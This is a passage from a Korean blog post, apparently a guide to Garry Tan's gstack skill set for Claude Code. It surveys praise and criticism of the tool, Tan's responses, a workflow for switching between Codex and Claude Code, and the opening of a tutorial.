&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;제 사소한 피드백이 실제로 반영될 줄 몰랐다. small indie founders에게 스타트업 멘토가 생긴 것 같다.&quot; &amp;mdash; /office-hours를 더 엄격하게 해달라는 중국 커뮤니티 피드백이 실제 업데이트로 이어진 사례. 오픈소스 커뮤니티 피드백 루프의 실제 작동을 보여줌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2033020984093978930&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Garry Tan (X.com &amp;mdash; Python 에이전트 지원)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;It works with any python agent! Neat. Had no idea.&quot; &amp;mdash; Hacker News 토론에서 Claude Code 전용 여부 질문 후 Garry Tan이 직접 확인. gstack은 SKILL.md 표준을 따르는 모든 Python 에이전트에서 작동 (출처: Garry Tan X.com 직접 발언)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;부정적 반응 / 비판&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dc3545; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;핵심 비판&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://cryptorank.io/news/feed/4fcf8-garry-tan-claude-code-gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Mo Bitar (개발자/블로거)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;결국 텍스트 파일에 담긴 프롬프트 모음&quot; &amp;mdash; 이미 Claude Code 사용자 다수가 자체적으로 만들어 쓰던 것과 다르지 않다 (출처: CryptoRank 종합 보도)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://dev.to/_46ea277e677b888e0cd13/claude-code-vs-codex-2026-what-500-reddit-developers-really-think-31pb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Reddit/HN 회의론자&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;YC CEO라는 지위가 도구의 독창성이 아닌 가시성을 만들었다는 비판. &quot;같은 걸 무명 개발자가 올렸으면 100 스타도 못 받았을 것&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@luongnv89/gstack-is-not-a-dev-tool-its-garry-tan-s-brain-on-ai-b813e09b32c7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;시니어 엔지니어 그룹&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;시니어 판단력의 환상을 만든다&quot; &amp;mdash; 실제 이해 없이 체크리스트만 따르면 위험할 수 있다는 우려 (출처: Luong Nguyen Medium 분석)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.sitepoint.com/gstack-garry-tan-claude-code/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;비용 우려&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;병렬 세션 실행 시 API 비용이 빠르게 증가. 개인 개발자에게는 부담스러울 수 있다 (출처: SitePoint 튜토리얼)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.producthunt.com/products/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Product Hunt (Sherveen Mashayekhi)&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;YC CEO가 아니었으면 PH에 올라오지도 못했을 것&quot; &amp;mdash; Free Agency 창업자의 직접적 비판&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@ml_artist/the-ceo-who-called-ai-god-mode-and-the-study-that-proved-him-right-in-the-wrong-way-576efa2792e5&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AI Sycophancy 논쟁&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;전문가에게는 속도를 높이고, 초보자에게는 전문가인 듯한 착각을 만든다&quot; &amp;mdash; 3,000명 참가 연구에서 AI 챗봇이 과신을 증가시킨다는 결과를 gstack에 적용한 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47355173&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News &amp;mdash; 에이전트 루프 버그 사례&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;에이전트가 70분간 루프에 빠져 스테이징 URL을 프로덕션 설정 파일에 반복 주입했다&quot; &amp;mdash; 자동화 스킬 사용 시 의도치 않은 파괴적 동작 가능성을 경고한 HN 댓글. gstack의 /careful&amp;middot;/freeze 가드레일이 필요한 이유를 역설적으로 보여주는 사례 (출처: HN item#47355173 댓글)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47355173&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News &amp;mdash; CTO 해고 역설론&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;AI 프롬프트 셋이 CTO보다 먼저 XSS 취약점을 발견했다면, 그 CTO는 해고되어야 한다&quot; &amp;mdash; Garry Tan의 CTO 친구가 gstack으로 XSS를 발견했다는 에피소드에 대한 역설적 반박. AI가 보완재가 아닌 대체재가 되는 상황에 대한 불편한 질문&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Reddit / HN &amp;mdash; LOC 지표 비판&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&quot;600,000줄 코드로 무엇을 만들었나?&quot; &amp;mdash; LOC(코드 줄 수)는 나쁜 성과 지표라는 오랜 공학 원칙을 들어, Garry Tan의 생산성 수치 자랑 자체를 문제 삼는 비판. AI가 생성하는 보일러플레이트 코드가 LOC를 인위적으로 부풀린다는 우려 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Garry Tan의 대응&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;비판에 대해 Garry Tan은 직접 반박했다. &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2034329586008498680&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;This is exactly why I released gstack. Rather than assume I'm doing it wrong, how about you try and see it work for you. I'll give you a money back guarantee, which is easy because it's free open source.&quot;&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(이것이&amp;nbsp;바로&amp;nbsp;내가&amp;nbsp;gstack을&amp;nbsp;공개한&amp;nbsp;이유다.&amp;nbsp;내가&amp;nbsp;잘못하고&amp;nbsp;있다고&amp;nbsp;단정하기보다는,&amp;nbsp;직접&amp;nbsp;사용해보고&amp;nbsp;너에게도&amp;nbsp;잘&amp;nbsp;맞는지&amp;nbsp;확인해보는&amp;nbsp;건&amp;nbsp;어떨까?&amp;nbsp;환불&amp;nbsp;보장(money&amp;nbsp;back&amp;nbsp;guarantee)도&amp;nbsp;해줄게&amp;nbsp;&amp;mdash;&amp;nbsp;물론&amp;nbsp;무료&amp;nbsp;오픈소스(free&amp;nbsp;open&amp;nbsp;source)라서&amp;nbsp;환불도&amp;nbsp;아주&amp;nbsp;쉽지만&amp;nbsp;말이야.)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;중국 커뮤니티의 피드백은 실제 기능 개선으로 이어졌다 &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2035505922056085620&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;Chinese Twitter said that /office-hours in gstack was not hard enough on founders, so I made them harder.&quot;&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&amp;ldquo;중국&amp;nbsp;트위터에서&amp;nbsp;gstack의&amp;nbsp;/office-hours&amp;nbsp;기능이&amp;nbsp;창업자들에게&amp;nbsp;충분히&amp;nbsp;엄격하지&amp;nbsp;않다고&amp;nbsp;하길래,&amp;nbsp;그래서&amp;nbsp;나는&amp;nbsp;그것을&amp;nbsp;더&amp;nbsp;빡세게&amp;nbsp;만들었다.&amp;rdquo;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Garry Tan의 주목할 만한 추가 발언&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공개 이후 Garry Tan은 X.com에서 gstack의 맥락을 이해하는 데 중요한 발언들을 추가로 남겼다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 18px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 15px 0;&quot;&gt;&lt;b&gt;&quot;GStack은 실제 YC 배치의 10%에 불과하다&quot;&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2035823237729546585&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;GStack is only 10% power of what it's like to actually come and go through a Y Combinator batch.&quot;&lt;/a&gt; &amp;mdash; gstack이 YC 경험의 대체재가 아니라는 직접적인 한계 인정. /office-hours 스킬이 실제 YC 창업자 멘토링의 일부만 재현한다는 솔직한 자기 평가다. 이 발언은 gstack 과대 기대를 교정하는 중요한 맥락이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 18px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 15px 0;&quot;&gt;&lt;b&gt;&quot;어떤 Python 에이전트에서도 작동한다&quot;&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2033020984093978930&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;It works with any python agent! Neat. Had no idea.&quot;&lt;/a&gt; &amp;mdash; Hacker News 토론에서 Claude Code 전용 여부를 묻는 질문에 Garry Tan이 직접 답변. SKILL.md 표준을 따르는 Python 에이전트라면 모두 호환된다. Claude Code&amp;middot;Codex 외 더 광범위한 에이전트 생태계 지원이 확인된 셈이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 18px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 15px 0;&quot;&gt;&lt;b&gt;&quot;/autoplan이 권장 방법이다&quot;&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2036638037908836635&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Garry Tan은 이후 /plan-ceo-review &amp;rarr; /plan-eng-review 순차 실행 대신 /autoplan 단일 커맨드를 직접 권장하기 시작했다.&lt;/a&gt; CEO &amp;rarr; Design &amp;rarr; Eng 리뷰를 자동 순차 실행하며, &quot;taste decisions&quot;만 사용자에게 질문하는 방식이다. 처음 gstack을 접한다면 /autoplan이 가장 진입하기 쉬운 시작점이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 18px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 15px 0;&quot;&gt;&lt;b&gt;병원 병상 옆에서 코딩한 인간적 맥락&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2033729112117018821&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;I am coding a lot, GStack is helping me do it, but also... last week my mom was in the hospital... I was coding by her bedside too.&quot;&lt;/a&gt; &amp;mdash; gstack 공개 직후 Austin 폭설로 발이 묶인 상태, 어머니 입원이라는 개인적 어려움 속에서도 코딩을 이어간 에피소드. 도구 홍보 맥락과 별개로, AI 코딩 도구가 삶의 어떤 상황에서도 생산성을 유지할 수 있게 한다는 현실적 사례다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;이 반응들이 보여주는 것&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;찬반이 갈리는 핵심은 &lt;b&gt;&quot;구조화된 프롬프트가 실제 전문성을 대체할 수 있는가?&quot;&lt;/b&gt;라는 질문이다. 긍정론은 &quot;최소한 일관된 품질 바닥선을 만든다&quot;는 입장이고, 부정론은 &quot;바닥선이 아니라 천장의 환상을 만든다&quot;는 입장이다. &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://medium.com/@ml_artist/the-ceo-who-called-ai-god-mode-and-the-study-that-proved-him-right-in-the-wrong-way-576efa2792e5&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;sycophancy 연구&lt;/a&gt;가 시사하듯, 같은 도구가 사용자 수준에 따라 다른 효과를 낳는다. 실용적 관점에서는, gstack의 가치는 도구 자체보다 &lt;b&gt;&quot;개발 프로세스를 명시적으로 구조화한다&quot;는 방법론&lt;/b&gt;에 있다. 프롬프트는 포크해서 바꿀 수 있지만, 역할 분리라는 사고 습관은 코드로 옮기기 전에 먼저 체득해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 9: Codex 리밋 후 워크플로우 ===== --&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 실전 활용: Codex 주간 리밋 후 gstack + Claude Code 워크플로우&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 현재, OpenAI Codex는 Plus 구독자에게 주간 사용량 제한을 적용하고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;복잡한 프롬프트로 빠르게 사용량을 소진하거나, 주간 리밋에 도달했다는 사례가 커뮤니티에서 자주 보고된다. (참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/codex/discussions/2251&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Usage Limits 토론&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://help.openai.com/en/articles/11369540-using-codex-with-your-chatgpt-plan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 Codex 플랜 안내&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 상황에서 커뮤니티에서 공유되는 워크플로우가 있다. Codex 리밋이 걸렸을 때 &lt;b&gt;Claude Code + gstack&lt;/b&gt;으로 전환하여, 시간은 더 걸리더라도 &lt;b&gt;품질 면에서 만족스러운 결과&lt;/b&gt;를 내는 방식이다. gstack이 Claude Code뿐 아니라 Codex까지 지원하게 되면서, 두 도구를 상호 보완적으로 쓰는 패턴이 자연스럽게 생겼다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6단계 하이브리드 워크플로우&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bp5eb1/dJMcad2uvMH/ZG4XSsc8qPfscBpGfDL3mK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bp5eb1/dJMcad2uvMH/ZG4XSsc8qPfscBpGfDL3mK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp5eb1/dJMcad2uvMH/ZG4XSsc8qPfscBpGfDL3mK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbp5eb1%2FdJMcad2uvMH%2FZG4XSsc8qPfscBpGfDL3mK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1964&quot; height=&quot;1060&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황:&lt;/b&gt; Codex 주간 리밋 도달 &amp;rarr; Claude Code로 전환&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1.&lt;/b&gt; &lt;code&gt;gstack 설치&lt;/code&gt; &amp;mdash; Claude Code에 gstack 글로벌 설치&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2.&lt;/b&gt; &lt;code&gt;/office-hours&lt;/code&gt; &amp;mdash; gstack의 YC Office Hours 스킬로 구현 계획을 수립. 6가지 강제 질문으로 문제를 재정의하고 디자인 문서를 생성&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3.&lt;/b&gt; &lt;code&gt;/plan-ceo-review&lt;/code&gt; &amp;middot; &lt;code&gt;/plan-eng-review&lt;/code&gt; &amp;middot; &lt;code&gt;/plan-design-review&lt;/code&gt; &amp;mdash; 필요에 따라 CEO, 엔지니어링, 디자인 관점의 리뷰를 실행. 각 관점에서 계획의 빈틈을 찾아낸다&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4.&lt;/b&gt; &lt;b&gt;구현 실행&lt;/b&gt; &amp;mdash; 계획이 충분히 다듬어지면 Claude Code(또는 리밋이 풀린 Codex)로 구현. &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://pageai.pro/blog/long-running-ai-coding-agents-ralph-loop&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ralph-loop&lt;/a&gt; 등 자동화 도구를 활용하면 &quot;이 계획 적용해줘&quot; 한마디로 실행 가능&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 5.&lt;/b&gt; &lt;code&gt;/review&lt;/code&gt; &amp;mdash; Staff Engineer 모드로 구현된 코드를 리뷰. CI를 통과하지만 프로덕션에서 문제가 될 수 있는 버그를 탐색&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 6.&lt;/b&gt; &lt;code&gt;/qa&lt;/code&gt; &amp;mdash; diff-aware 테스트로 변경 사항의 영향 범위를 검증. /browse로 실제 화면 확인까지&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #f5a623; margin: 20px 0;&quot;&gt;&lt;b&gt;왜 시간이 더 걸려도 품질이 만족스러운가?&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심은 &lt;b&gt;&quot;계획에 투자하는 시간&quot;&lt;/b&gt;이다. Codex는 빠르게 코드를 생성하지만, 그 전에 충분한 계획이 없으면 잘못된 방향으로 빠르게 달리는 셈이다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 /office-hours &amp;rarr; /plan-*-review 파이프라인은 코딩 전에 충분한 시간을 투자해서 문제를 정확히 정의한다. 이 &quot;느린 시작&quot;이 결과적으로 재작업을 줄이고 전체 품질을 높인다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan 본인도 &quot;The sprint structure is what makes parallelism work &amp;mdash; without process, ten agents equals ten sources of chaos&quot;(스프린트&amp;nbsp;구조(sprint&amp;nbsp;structure)가&amp;nbsp;바로&amp;nbsp;병렬성(parallelism)을&amp;nbsp;제대로&amp;nbsp;작동하게&amp;nbsp;만드는&amp;nbsp;핵심이다&amp;nbsp;&amp;mdash;&amp;nbsp;프로세스(process)가&amp;nbsp;없다면,&amp;nbsp;10개의&amp;nbsp;에이전트는&amp;nbsp;곧&amp;nbsp;10개의&amp;nbsp;혼란의&amp;nbsp;원천이&amp;nbsp;될&amp;nbsp;뿐이다.)라고 설명한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack README&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;gstack /codex 스킬: 크로스 모델 검증&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;흥미로운 점은 gstack 자체에 &lt;code&gt;/codex&lt;/code&gt; 스킬이 내장되어 있다는 것이다. OpenAI Codex CLI를 통해 &lt;b&gt;독립적인 Second Opinion&lt;/b&gt;을 받을 수 있다. 3가지 모드를 제공한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Review 모드&lt;/b&gt;: 코드 리뷰 pass/fail 게이트. Claude의 /review와 Codex의 /codex를 모두 실행하면 크로스 모델 분석 제공&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Adversarial 모드&lt;/b&gt;: 적대적 챌린지. Claude가 작성한 코드를 Codex가 공격적으로 검증&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Open Consultation 모드&lt;/b&gt;: 특정 질문에 대해 다른 관점을 얻기 위한 오픈 상담&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 기능 덕분에 Codex 리밋 상황에서도 &quot;계획은 gstack으로, 리밋이 풀리면 /codex로 크로스 체크&quot;하는 전략이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 10: 30분 튜토리얼 ===== --&gt;
&lt;h2 id=&quot;section10&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 튜토리얼 : 처음 gstack 써보기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치가 끝났다면 실제로 써보자.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아래 튜토리얼은 gstack 공식 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/docs/skills.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;docs/skills.md&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;의 예시를 기반으로 재구성했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: gstack 공식 문서, 2026-03-26 기준)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;시나리오: &quot;일정 관리 앱에 일일 브리핑 기능 추가하기&quot;&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;이 튜토리얼은 기존 프로젝트에 기능을 추가하는 시나리오다. 아직 프로젝트가 없다면, 간단한 테스트 프로젝트(예: &lt;code&gt;npx create-next-app my-test-app&lt;/code&gt;)를 하나 생성한 뒤 진행하면 된다.&lt;/p&gt;
